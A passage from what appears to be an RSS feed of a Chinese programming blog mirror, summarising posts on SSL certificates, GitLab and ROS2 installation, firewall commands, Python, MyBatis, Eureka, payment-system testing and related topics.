      <description>登录 控制台：​​https://yundun.console.aliyun.com/?userCode=pqofinu5&amp;amp;type=copy&amp;amp;p=cas#/certExtend/buy/cn-hangzhou​​&#xA;免费证书只有3个月，且有数量限制，而且安全性一般，每次需要很麻烦的更换，建议购买付费的企业级、金融级安全证书。&#xA;可以使用新用户购买，新用户可能1折优惠。&#xA;企业证书购买 ​​https://yundun.console.aliyun.com/?userCode=pqofinu5&amp;amp;type=copy&amp;amp;p=cas#/certExtend/buy/cn-hangzhou​​&#xA;例如：&#xA;后台是：https://www.xxoo.cn/admin&#xA;或者https://sub.xxoo.cn/admin&#xA;单域名申请：&#xA;那域名申请时候填写&#xA;www.xxoo.cn或者sub.xxoo.cn&#xA;但是xxoo.cn和hjm.xxoo.cn都是无法使用该SSL证书的。&#xA;多域名申请：&#xA;直接填写*.xxoo.cn 即可，所有域名都能访问，都能用&#xA;不同证书类型有什么区别？安全性如何？什么场景使用？&#xA;更多区别详见：​​https://help.aliyun.com/zh/ssl-certificate/user-guide/functions-and-features#section-o51-mee-t0x?userCode=pqofinu5&amp;amp;type=copy​​&#xA;或者采用如下方式&#xA;验证是否生效 在浏览器中可以看到证书有效期</description>
    </item>
    <item>
      <title>Gitlab 安装手册</title>
      <link>https://bchobby.github.io/posts/31960e1b955144cd31f9ae75b309823e/</link>
      <pubDate>Thu, 07 Dec 2023 00:49:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31960e1b955144cd31f9ae75b309823e/</guid>
      <description>MD@[Gitlab 安装手册]&#xA;Gitlab 安装手册 说明: Gitlab最低配置1核2g,建议配置2核4g以上且单独部署,如有多项目CI/CD要求,可以4核8g&#xA;1. 安装相关依赖(安装policycoreutils) [root@sjclinux ~]# yum -y install policycoreutils openssh-server openssh-clients postfix&#xA;2. 启动ssh服务&amp;amp;设置为开机启动 [root@sjclinux ~]# systemctl enable sshd &amp;amp;&amp;amp; sudo systemctl start sshd&#xA;3. 设置postfix开机自启，并启动，postfix支持gitlab发信功能 [root@sjclinux ~]# systemctl enable postfix &amp;amp;&amp;amp; systemctl start postfix&#xA;4. 开放ssh以及http服务，然后重新加载防火墙列表 [root@sjclinux ~]# firewall-cmd --add-service=ssh --permanent&#xA;[root@sjclinux ~]# firewall-cmd --add-service=http --permanent&#xA;[root@sjclinux ~]# firewall-cmd --reload&#xA;5. 下载gitlab包，并且安装 (有概率会报错,因为镜像存在问题,或者需要key,可以参考5.1)&#xA;在线下载安装包:&#xA;[root@sjclinux ~]# wget https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-16.6.1-ce.0.el7.x86_64.rpm&#xA;安装:&#xA;[root@sjclinux ~]# rpm -i gitlab-ce-16.</description>
    </item>
    <item>
      <title>Linux防火墙命令(关闭，启动，添加指定服务/端口)</title>
      <link>https://bchobby.github.io/posts/0e3452a045c2d58520b393adb44b0e3b/</link>
      <pubDate>Thu, 07 Dec 2023 00:27:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e3452a045c2d58520b393adb44b0e3b/</guid>
      <description>不同版本的linux所用命令不相同: 查看linux版本命令: cat /etc/redhat-release&#xA;[root@myYUn software]# cat /etc/redhat-release&#xA;CentOS Linux release 7.3.1611 (Core)&#xA;如果是centos7以上,用下面的命令第一行,如systemctl status firewalld.service&#xA;如果是centos6以下,用下面的命令最后行,如service iptables status&#xA;1:查看防火墙状态&#xA;[root@sjclinux ~]# systemctl status firewalld.service&#xA;systemctl status firewalld&#xA;service iptables status&#xA;2:关闭防火墙&#xA;[root@sjclinux ~]# systemctl stop firewalld.service&#xA;systemctl stop firewalld&#xA;service iptables stop&#xA;3:禁止防火墙自启动&#xA;[root@sjclinux ~]# systemctl disable firewalld.service&#xA;systemctl disable firewalld&#xA;chkconfig iptables off&#xA;4:重启防火墙&#xA;[root@sjclinux ~]# systemctl enable firewalld &amp;amp;&amp;amp; systemctl restart firewalld&#xA;# enable是允许开机自启动，restart是本次重新启动&#xA;service iptables restart</description>
    </item>
    <item>
      <title>python中的迭代器、生成器和装饰器（一）</title>
      <link>https://bchobby.github.io/posts/10735ba7d89827c23c7e8d1374abb11f/</link>
      <pubDate>Wed, 06 Dec 2023 21:08:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10735ba7d89827c23c7e8d1374abb11f/</guid>
      <description>这三个概念应该经常能看到，但是关于其中各自的含义，很有可能还是模糊朦胧、半懂半懵的状态。今天正好复习到这里，把我对这几个概念的理解记录一下。&#xA;首先，装饰器和另外两个“器”不太一样，装饰器可以理解为一种特殊的函数，这个函数特殊之处在于以函数为参数，也就是函数的函数。说起来有点绕，看下代码：&#xA;def log_decorator(func): def wrapper(*args, **kwargs): print(f&#34;Calling {func.__name__} with arguments {args} and keyword arguments {kwargs}&#34;) result = func(*args, **kwargs) print(f&#34;{func.__name__} returned {result}&#34;) return result return wrapper @log_decorator def add(a, b): return a + b #add(1,3) 首先，最后两句应该能看懂，平时编程的时候也经常在def一个函数之前加上@xxx_decorator,这也就是装饰器的用法啦，通过在自定义的函数函数前面加上@装饰器函数名，就可以实现装饰的效果（装饰装饰，说白了就是一些锦上添花的工作，所以常用的装饰器就是做一些日志记录、性能分析等小工作）。&#xA;下面看下log_decorator内部，也就是代码的第一部分，先看整体，该函数传入的参数为一个func（函数），返回的是一个wrapper（一个包装了func的函数）。&#xA;当add函数使用@log_decorator来装饰时，调用add函数相当于是执行了log_decorator(add),add函数中的参数会被传递到wrapper中，然后依次执行wrapper中的内容。现在我们调用已经装饰好了的add函数，假设是add(1,3),得到的输出会是：&#xA;Calling add with arguments (1, 3) and keyword arguments {} add returned 4 #通过这种输出，可以实现日志记录的功能 注：wrapper 函数的参数 *args 和 **kwargs 是通用的形式，表示接受任意数量和类型的位置参数和关键字参数。关于什么是位置参数和关键字参数，请看以下代码：&#xA;def add(x, y): return x + y result = add(3, 5) #在这个例子中，x 和 y 都是位置参数。 #当调用 add(3, 5) 时，3 被赋值给 x，5 被赋值给 y def greet(name, message): return f&#34;</description>
    </item>
    <item>
      <title>自动生成实体类，mapper类和mapper.xml文件（解放双手，定义好数据库表就不要手写啦）</title>
      <link>https://bchobby.github.io/posts/328dd43c01c9e45b58fbd29e33398ae8/</link>
      <pubDate>Wed, 06 Dec 2023 20:23:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/328dd43c01c9e45b58fbd29e33398ae8/</guid>
      <description>背景 建的表有四十多个字段，建好了已经很累了，映射成Javabean还要再写一次！！&#xA;吐槽 在建立好了sql表之后，我们已经写了一次建表了，难道还要我们自己再一次手写模Java模型吗，我的表有几十个字段，全部手写不让人内心焦虑吗？&#xA;来了来了他来了，坐坐好。&#xA;插件mybatis generator（无需安装） 1.在pom文件添加plugin，MySQL相关的包也不可以少要用的！ &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;!--必须引入的包--&amp;gt; &amp;lt;!--mybatis--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--mysql驱动包--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.26&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.generator&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-generator-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.7&amp;lt;/version&amp;gt; &amp;lt;!--MBG配置--&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;!--MBG配置文件位置--&amp;gt; &amp;lt;configurationFile&amp;gt;src/main/resources/generatorConfig.xml&amp;lt;/configurationFile&amp;gt; &amp;lt;!--运行显示详情--&amp;gt; &amp;lt;verbose&amp;gt;true&amp;lt;/verbose&amp;gt; &amp;lt;!--允许覆盖文件,即如果我们原来写过这样的文件，则会将原来的文件覆盖掉--&amp;gt; &amp;lt;overwrite&amp;gt;true&amp;lt;/overwrite&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; &amp;lt;/project&amp;gt; 2.配置（耐心很简单的） 1.首先我们要在刚刚在pom中找到下图的配置，在IDEA中对应目录添加generatorConfig.xml文件&#xA;&amp;lt;!--MBG配置文件位置--&amp;gt;&#xA;&amp;lt;configurationFile&amp;gt;src/main/resources/generatorConfig.xml&amp;lt;/configurationFile&amp;gt;&#xA;2.接着copy下面的文件代码到generatorConfig.xml 修改几处之后就可直接使用！&#xA;代码下面有需要修改的地方，咱们只关注几个点就可以了&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!DOCTYPE generatorConfiguration PUBLIC &#34;-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd&#34;&amp;gt; &amp;lt;generatorConfiguration&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>Python代码为什么有下划波浪线？Python代码在Pycharm中出现波浪线的解决方法</title>
      <link>https://bchobby.github.io/posts/d51149a1f6c4a944afcacac2ff89e138/</link>
      <pubDate>Wed, 06 Dec 2023 17:41:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d51149a1f6c4a944afcacac2ff89e138/</guid>
      <description>当我们在用pycharm写Python代码时候会经常会在代码的底下出现波浪线，虽然这样并不会影响程序运行，但是对于一些有强迫症的同学来说，看着这些下划线是想要去除的，那么如何将这些下划线去除呢，下面跟着我一起来学习一下这篇文章吧，内容中详细的讲解了出现波浪线的解决方法，希望对大家的学习有所帮助。&#xA;一、产生的原因&#xA;在pycharm中是有一定的代码编写规则的，比如对变量的命令需要使用驼峰命名法，有时候在变量与常量之间需要留有空格，还要在代码中没有缩进、逗号后面没有空格或者注释之间也需要留出空格等等的操作，都会导致波浪线的存在。&#xA;二、解决方法&#xA;当代码下出现了波浪线时，有两种解决的方法&#xA;方法一、找到出现波浪线的地方，将鼠标光标移到代码的波浪线上面，此时在页面中会出现提示，我们点击“ReFormat the File”的提示的话，Pycharm会自动的将我们编写的代码变成规范操作，看到提示的旁边，也会有一个快捷键提示，也可以选择快捷键Alt +Shift +Enter ,快捷键，一键规范代码。&#xA;方法二、在菜单栏中选择file选项下的setting，打开设置对话框之后再选择inspection，继续选择子菜单中的Python把Python上面的选项框为空，就不会出现波浪线这个情况了，但是这种方法只能实现一次效果。&#xA;到此这篇关于Python代码为什么有下划波浪线？Python代码在Pycharm中出现波浪线的解决方法的文章内容就介绍到这里了，希望可以帮助到大家。&#xA;关于Python技术储备&#xA;学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！&#xA;一、Python所有方向的学习路线&#xA;Python所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。&#xA;二、Python必备开发工具&#xA;三、Python视频合集&#xA;观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。&#xA;四、实战案例&#xA;光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。&#xA;五、Python练习题&#xA;检查学习结果。&#xA;六、面试资料&#xA;我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。&#xA;最后祝大家天天进步！！&#xA;上面这份完整版的Python全套学习资料已经上传至CSDN官方，朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。</description>
    </item>
    <item>
      <title>Ubuntu20.04 arm64 安装 ROS2 foxy</title>
      <link>https://bchobby.github.io/posts/4d712cddf17d73f0b6a26c2c8f57fa9c/</link>
      <pubDate>Wed, 06 Dec 2023 16:58:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d712cddf17d73f0b6a26c2c8f57fa9c/</guid>
      <description>Ubuntu20.04 arm64 安装 ROS2 foxy 主要过程参考 ROS 官网的安装提示按照官网的key配完后更新源安装提示 unmet dependencies,改用 aptitudeubuntu更换软件源的整理各种工具使用代理的参数方法（端口号根据个人情况填） 主要过程参考 ROS 官网的安装提示 ros2官网文档&#xA;sudo curl -sSL https://raw.githubusercontent.com/ros/rosdistro/master/ros.key -o /usr/share/keyrings/ros-archive-keyring.gpg #这一步失败可以透过科学上网下载ros.key保存到 /usr/share/keyrings/ros-archive-keyring.gpg&#xA;按照官网的key配完后更新源 echo &#34;deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/ros-archive-keyring.gpg] http://packages.ros.org/ros2/ubuntu $(. /etc/os-release &amp;amp;&amp;amp; echo $UBUNTU_CODENAME) main&#34; | sudo tee /etc/apt/sources.list.d/ros2.list &amp;gt; /dev/null 会在路径下生成ros2 仓库源描述文件 /etc/apt/sources.list.d/ros2.list&#xA;接下来使用更新仓库源命令&#xA;sudo apt-get update #这一步连接 ports.ubuntu.com/ubuntu-ports 很缓慢，好几个9M的文件下载很久 #可以透过方式改善 sudo apt-get -o Acquire::http::proxy=&#34;http://127.0.0.1:10809/&#34; update #10809 端口看自己的工具的设置 安装提示 unmet dependencies,改用 aptitude apt-get install ros-foxy-desktop error:the following packages have unmet dependencies sudo apt-get install aptitude -y sudo aptitude install ros-foxy-desktop #后续会弹出几次 solution accpet的确认，输入 Y #接下来就是漫长的等待，800多个 package 安装,解压完需要2G的空间 ubuntu更换软件源的整理 中科大源 清华源</description>
    </item>
    <item>
      <title>On Integrated Sensing and Communication Waveforms With Tunable PAPR</title>
      <link>https://bchobby.github.io/posts/71457ab740a9fc8b5db9a2cea066acca/</link>
      <pubDate>Wed, 06 Dec 2023 16:39:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71457ab740a9fc8b5db9a2cea066acca/</guid>
      <description>1、基本内容：&#xA;6G 网络是互联智能的网络，它对通信和感知能力都有进一步的要求。从通信角度来看，增强现实和视频流等增强型移动宽带 (eMBB) 用例需要高数据速率；大规模机器类型通信（mMTC）需要低成本、低功耗和短距离的设备；远程机器人手术和自动驾驶等关键任务应用需要超可靠低延迟通信（URLLC）服务。在传感精度方面，6G提出了厘米级严格的定位要求。将传感和通信联合集成便可以利用相同的无线基础设施、频谱和无线电硬件实现上述需求。因此，6G 网络的一项重要支持技术是双功能雷达和通信 (DFRC)，它不仅受益于共享频谱和功率效率，还受益于集成传感和通信 (ISAC) 共享波形的硬件效率。&#xA;雷达和通信系统中普遍存在的两点重要设计：&#xA;（1）MIMO设计：具有空间自由度，可以更好地利用雷达和通信之间的权衡。&#xA;（2）峰均功率比 (PAPR) 传输 ：实现节能目的，特别是存在非线性高功率放大器 (HPA)时。&#xA;本文考虑具有可调谐 PAPR 的ISAC 波形设计，目标是在PAPR约束和雷达线性调频信号的给定相似性约束下最小化所有通信用户的多用户干扰(MUI)，采用ADMM算法。&#xA;作者利用多目标优化（MOOP）得到了MUI和波形相似性的折衷，然后通过ADMM求解了优化问题从而验证了所提出的ISAC波形的优越性，同时也考虑了雷达和通信性能的折衷。&#xA;2、系统模型：&#xA;通信信号：&#xA;雷达回波：&#xA;为了研究互干扰，通信信号重新表示为：&#xA;MUI指标：总MUI能量表示为：&#xA;假设参考信号是一个chrip信号，需要保证ISAC发射波形与参考信号的相似性，即：&#xA;峰均功率比 (PAPR) ：&#xA;3、优化问题：&#xA;引入单位发射功率约束，得到&#xA;使用&#xA;对目标函数处理。&#xA;增广拉格朗日函数写出闭式解。&#xA;参考文献&#xA;A. Bazzi and M. Chafii, &#34;On Integrated Sensing and Communication Waveforms With Tunable PAPR,&#34; in IEEE TransactionsOn Integrated Sensing and Communication Waveforms With Tunable PAPR | IEEE Journals &amp;amp; Magazine | IEEE XploreA. Bazzi and M.</description>
    </item>
    <item>
      <title>Vue3 使用图片涂鸦插件</title>
      <link>https://bchobby.github.io/posts/c68ee7d6ec04bf3a13234547c87dd315/</link>
      <pubDate>Wed, 06 Dec 2023 15:18:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c68ee7d6ec04bf3a13234547c87dd315/</guid>
      <description>一、安装插件 npm i @toast-ui/vue-image-editor npm i tui-code-snippet npm i tui-image-editor Image-editor | TOAST UI :: Make Your Web Delicious! 官网介绍说是“凭借简单和美观的完美结合，图像编辑器是一个功能齐全的编辑器，非常适合日常使用” ，的确，日常的功能需求确实可以满足了。&#xA;二、使用插件 1、引入插件 import &#34;tui-image-editor/dist/tui-image-editor.css&#34;; import &#34;tui-color-picker/dist/tui-color-picker.css&#34;; // 改写原插件样式 import &#34;../../assets/css/editPicture.css&#34;; //引入所要编辑的图片 import ImageEditor from &#34;tui-image-editor&#34;; 2、插件配置 // 中文菜单 const locale_zh = { ZoomIn: &#34;放大&#34;, ZoomOut: &#34;缩小&#34;, Hand: &#34;手掌&#34;, History: &#34;历史&#34;, Resize: &#34;调整宽高&#34;, Crop: &#34;裁剪&#34;, DeleteAll: &#34;全部删除&#34;, Delete: &#34;删除&#34;, Undo: &#34;撤销&#34;, Redo: &#34;反撤销&#34;, Reset: &#34;重置&#34;, Flip: &#34;镜像&#34;, Rotate: &#34;旋转&#34;, Draw: &#34;</description>
    </item>
    <item>
      <title>在androidstudio 新建kotin 项目 提示报错 Dependency ‘androidx.appcompat:appcompat-resources:1.6.1‘</title>
      <link>https://bchobby.github.io/posts/946739248dba0d9778189af508544217/</link>
      <pubDate>Wed, 06 Dec 2023 15:07:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/946739248dba0d9778189af508544217/</guid>
      <description>15 issues were found when checking AAR metadata: 1. Dependency &#39;androidx.appcompat:appcompat-resources:1.6.1&#39; requires libraries and applications that depend on it to compile against version 33 or later of the Android APIs. :app is currently compiled against android-32. Recommended action: Update this project to use a newer compileSdkVersion of at least 33, for example 33. Note that updating a library or application&#39;s compileSdkVersion (which allows newer APIs to be used) can be done separately from updating targetSdkVersion (which opts the app in to new runtime behavior) and minSdkVersion (which determines which devices the app can be installed on).</description>
    </item>
    <item>
      <title>【银行测试】支付类测试关注点与异常点&#43;支付平台...</title>
      <link>https://bchobby.github.io/posts/9de4955cd5e8398329c481e0de52932f/</link>
      <pubDate>Wed, 06 Dec 2023 14:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9de4955cd5e8398329c481e0de52932f/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、支付类的测试关注点及异常点&#xA;对于市场上的支付系统，其实原理大同小异。市场上大多数软件系统涉及到支付功能，都会与第三方支付系统交互，跳转到相应的支付系统实现其支付功能，下面说下开展这类型测试之前，需要考虑哪些因素：&#xA;1）了解第三方支付接口有哪些，系统直接交互如何实现，建议画流程图，重复熟悉系统实现流程，只有搞清楚流程，才能更好的评估其中的风险，才能有利于测试用例的设计；&#xA;2）除了主要功能之外，还需要考虑异常场景有哪些；&#xA;3）有哪些风险？如何规避？&#xA;针对测试过程中涉及到主要的测试点整理如下：&#xA;测试过程中需要注意的主要测试点及异常场景：&#xA;①首先要保证接口都能正常调用；&#xA;②生成一笔订单，支付完成后，同步或异步重复回调，只有一次有效；&#xA;③生成一笔订单，复制订单号和金额，再次生成一笔订单，用fiddler设置断点，用第一笔已完成的订单号和订单金额去替换现有的订单号和金额，无法完成支付；&#xA;④生成一笔订单，跳转到第三方时修改金额，无法到账，或者如果是游戏充值游戏币的话，到账为篡改后的金额对应的游戏币；&#xA;⑤异步通知屏蔽，同步有效，进行支付，同步能够正常到账；&#xA;⑥同步设置无效，异步有效，进行支付，异步能够正常到账；&#xA;⑦同步异步都设置无效，在第三方支付完成后，在重发机制时间范围内，设置异步有效，到下次通知时间点时，能够正常通知到账（补单机制的验证，如果商户收到第三方支付成功的通知后，要告知第三方支付收到了成功的通知，如果第三方支付收到商户应答不是ok或超时，第三方支付就会认为通知失败，会在规定的时间内持续调用notify_url，一般有时间或次数的限制）；&#xA;⑧针对支付订单在数据库中存储是否完整和正确进行校验（比如：第三方订单号–方便与第三方对账和问题排查、订单金额、订单状态等）；&#xA;⑨如果是用户购买实物商品，用户发起退货，要保证退货流程正常，资金能正常返还，要考虑下并发情况的验证以确保安全性；&#xA;⑩如果是用户购买虚拟商品，比如话费、油卡之类的商品，只有在发货失败的时候才能发起退货，注意验证；&#xA;常遇的坑&#xA;用户购买100元游戏币时，前往第三方支付跳转进行金额的篡改由100元改成0.01元，结果就拿了0.01元充值了100元的游戏币。对订单金额没有做校验导致这样的后果，损失比较大。大家在测试的过程中一定要注意对服务端进行校验，支付时数据的篡改一定要有校验。&#xA;当同步、异步通知都存在的情况的，异步通知（第三方支付成功后台通知），没有到账，导致部分用户充值不到账，引起客诉。&#xA;当同步、异步并存的时候，一定要分别对同步和异步进行检验，确保都能正常到账。&#xA;我们所做的绝大多少的互联网产品都会涉及到第三方支付，所以支付功能必然是重要的，作为测试互联网产品的一员，我们必须要做好支付的安全性。&#xA;如何规避支付风险？&#xA;为了进一步的加强支付功能的安全，也可以适当的增加一些监控机制。&#xA;比如：&#xA;订单与第三方订单进行对比，可以使用跑批完成，当我们完成支付的订单从数据库中查出来与通过第三方订单查询接口查询出来的同一个订单金额有异常时，进行报警通知能够及时发现处理，甚至当有异常情况进行创建订单的终止，从而把损失降到最低。&#xA;2、支付平台是如何测试各种渠道和银行通道的？&#xA;作为一个支付平台，接入了快钱、易宝或直连银行等多家的渠道，内在的产品流程是自己的。&#xA;业内有什么比较好的测试办法，来测试各渠道及其支持的银行通道呢？作为产品，我自己办了十几张银行卡方便测试，但QA和开发不愿意这样做，怎么办呢？&#xA;回答：对支付平台而言，与支付渠道相关的测试大致可以分为：测试支付渠道功能、测试支付产品功能。&#xA;1）支付渠道功能测试&#xA;主要是测试与银行、银联、其他外部支付渠道以及诸如实名认证等非支付类功能的功能。&#xA;一般情况下，支付渠道的接口只对第三方支付内部开放，不会直接将支付渠道暴露给外部商户，对外部商户都是包装成支付产品形式提供的。&#xA;支付渠道是第三方支付公司最基础的能力，由于涉及调用外部形形色色的各种接口及服务，各家的渠道提供的测试环境、准生产环境、生产环境要求也不同，同时第三方支付自己也需要维护对应的测试环境、准生产环境、生产环境不同版本的环境，要完整做测试确实挺麻烦。&#xA;测试方法：&#xA;在内部开发一套统一的测试网关（不管是接口通信协议是socket、http、xml等，一般都统一为http以方便测试），统一各种渠道的测试入口，针对不同的渠道维护对应的接口参数模板，方便测试人员快速输入并提交原始的支付请求。&#xA;提交到支付渠道后，如果支付渠道维护有测试环境、准测试环境，则可以直接用提供的测试账号完成实际调用支付渠道测试。&#xA;如果不提供，只能像如题一样，针对不同的渠道开通银行卡、对公账户等进行测试。&#xA;此种情况下一般都以最低限额测试。测试卡的申请、测试费用出处、日常管理可以根据每家公司实际情况制定对应政策，最好是公司承担各种费用、简化相关流程并有对应的激励措施，例如不要对此类费用还要走极为漫长的报销流程。&#xA;测试目的：&#xA;保证支付渠道功能的正确性、完整性、可用性，验证渠道是否畅通、功能是否正常。&#xA;一个典型例子是，原有支付渠道新上线一个功能，生产环境测试发现有问题，要在生产环境完整跑一边流程极为麻烦，可以用测试或准生产环境稳定版本的测试网关测试，快速定位是上线新版本影响生成功能，还是支付渠道端的问题，或者生产环境网络等问题影响。&#xA;2）支付产品功能测试&#xA;这里的支付产品可以是第三方支付内部的基础性产品，也可以是对外部商户提供的产品或接口。&#xA;此种情况下，测试重点不是支付渠道的基础功能，而是支付产品的核心功能。对支付产品而言，可以假设支付渠道是一个黑盒子，黑盒子对外提供的服务是可靠稳定的。&#xA;测试方法：&#xA;在内部开发一套支付渠道的模拟网关，对各种支付渠道的各个接口功能进行模拟并根据支付请求返回对应的模拟报文。&#xA;支付请求不用实际提交给外部支付渠道。 一般模拟网关与上面的测试网关会统一开发部署。&#xA;下面是我整理的2023年最全的软件测试工程师学习知识架构体系图 一、Python编程入门到精通 二、接口自动化项目实战 三、Web自动化项目实战 四、App自动化项目实战 五、一线大厂简历 六、测试开发DevOps体系 七、常用自动化测试工具 八、JMeter性能测试 九、总结（尾部小惊喜） 秉持梦想之翼，放飞心灵的火焰，勇往直前，无惧困难。不论何时何地，坚守信念，追求卓越，终将成就不凡的人生传奇。&#xA;勇往直前，迎接挑战的呼唤。放下犹豫，抛却困惑，努力奋斗，才能获得真正的自由与成就。在每一次努力中超越自己，才能创造出辉煌的人生篇章。&#xA;在漫漫征途中，不放弃、不言败，坚守初心，追求卓越。勇敢迎接挑战，超越自己的极限，才能成就那个矢志不渝的梦想。只要努力，成功将无可避免。</description>
    </item>
    <item>
      <title>【SpringCloud篇】Eureka服务的基本配置和操作</title>
      <link>https://bchobby.github.io/posts/7f1132a2785582c5fe69499f134b789e/</link>
      <pubDate>Wed, 06 Dec 2023 12:16:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f1132a2785582c5fe69499f134b789e/</guid>
      <description>文章目录 🌹简述Eureka🛸搭建Eureka服务⭐操作步骤⭐服务注册⭐服务发现 🌹简述Eureka Eureka是Netflix开源的一个基于REST的服务治理框架，主要用于实现微服务架构中的服务注册与发现。它由Eureka服务器和Eureka客户端组成，其中Eureka服务器负责维护整个系统的服务实例信息，而Eureka客户端则负责向Eureka服务器注册自身信息，并从Eureka服务器获取其他服务实例的信息。&#xA;通过Eureka，服务提供者可以在其启动时向Eureka服务器注册自己的网络地址和元数据信息，而服务消费者则可以从Eureka服务器查询所需服务的实例列表，并基于负载均衡策略选择合适的服务实例进行调用。同时，Eureka还具备监控、故障转移、自我保护等功能，能够有效地应对网络分区等异常情况，确保整个系统的稳定性和可靠性。&#xA;总的来说，Eureka作为服务治理框架，为微服务架构提供了一套完善的服务注册与发现机制，帮助各个服务实例之间能够自动地找到彼此，实现服务之间的通信与协作。它是构建基于微服务架构的分布式系统的重要工具之一，被广泛应用于云计算、大数据等领域。&#xA;🛸搭建Eureka服务 ⭐操作步骤 首先我们在eureka-server包中进行操作&#xA;首先我们先引入依赖&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;!--eureka服务端--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-server&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 下面我们新建一个启动类，来启动eureka服务&#xA;package cn.itcast.eureka; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cloud.netflix.eureka.server.EnableEurekaServer; @EnableEurekaServer @SpringBootApplication public class EurekaApplication { public static void main(String[] args) { SpringApplication.run(EurekaApplication.class, args); } } 下面我们编写一个配置文件application.yml&#xA;server: port: 10086 # 服务端口 spring: application: name: eurekaserver # eureka的服务名称 eureka: client: service-url: # eureka的地址信息 defaultZone: http://127.0.0.1:10086/eureka 这样我们就成功搭建eureka服务了&#xA;⭐服务注册 我们在user-service包中进行操作&#xA;在pom文件中引入eureka客户端依赖&#xA;&amp;lt;!--eureka客户端依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-client&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 我们编写一个配置文件application.</description>
    </item>
    <item>
      <title>Delphi-线程</title>
      <link>https://bchobby.github.io/posts/8431db41f317bc8fd7bd58cb0cea392b/</link>
      <pubDate>Wed, 06 Dec 2023 12:10:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8431db41f317bc8fd7bd58cb0cea392b/</guid>
      <description>碰到身份证阅读器项目，直接放进trimmer里面读卡，导致主页面卡顿，就打算放进子线程里试一下，就有了这个尝试。&#xA;1.创建线程文件 直接点击左上角file新建other，delphi有自带的模版&#xA;这个勾选了，就是他会给你的线程取个名字，在execute里面加一行。&#xA;NameThreadForDebugging(&#39;线程名字&#39;); 标准模版的代码就是这样，有几个注意事项：&#xA;1.文件名得和unit后的保持一致&#xA;2.在type下面的TestThread得在前面再加一个T变成TTestThread （这是一个约定，表示T=Type，其他的还有 I=Interface E=Exception）&#xA;3.在Execute前的TestThread和2同理&#xA;unit TestThread; interface uses System.Classes; type TTestThread = class(TThread) private { Private declarations } protected procedure Execute; override; end; implementation { Important: Methods and properties of objects in visual components can only be used in a method called using Synchronize, for example, 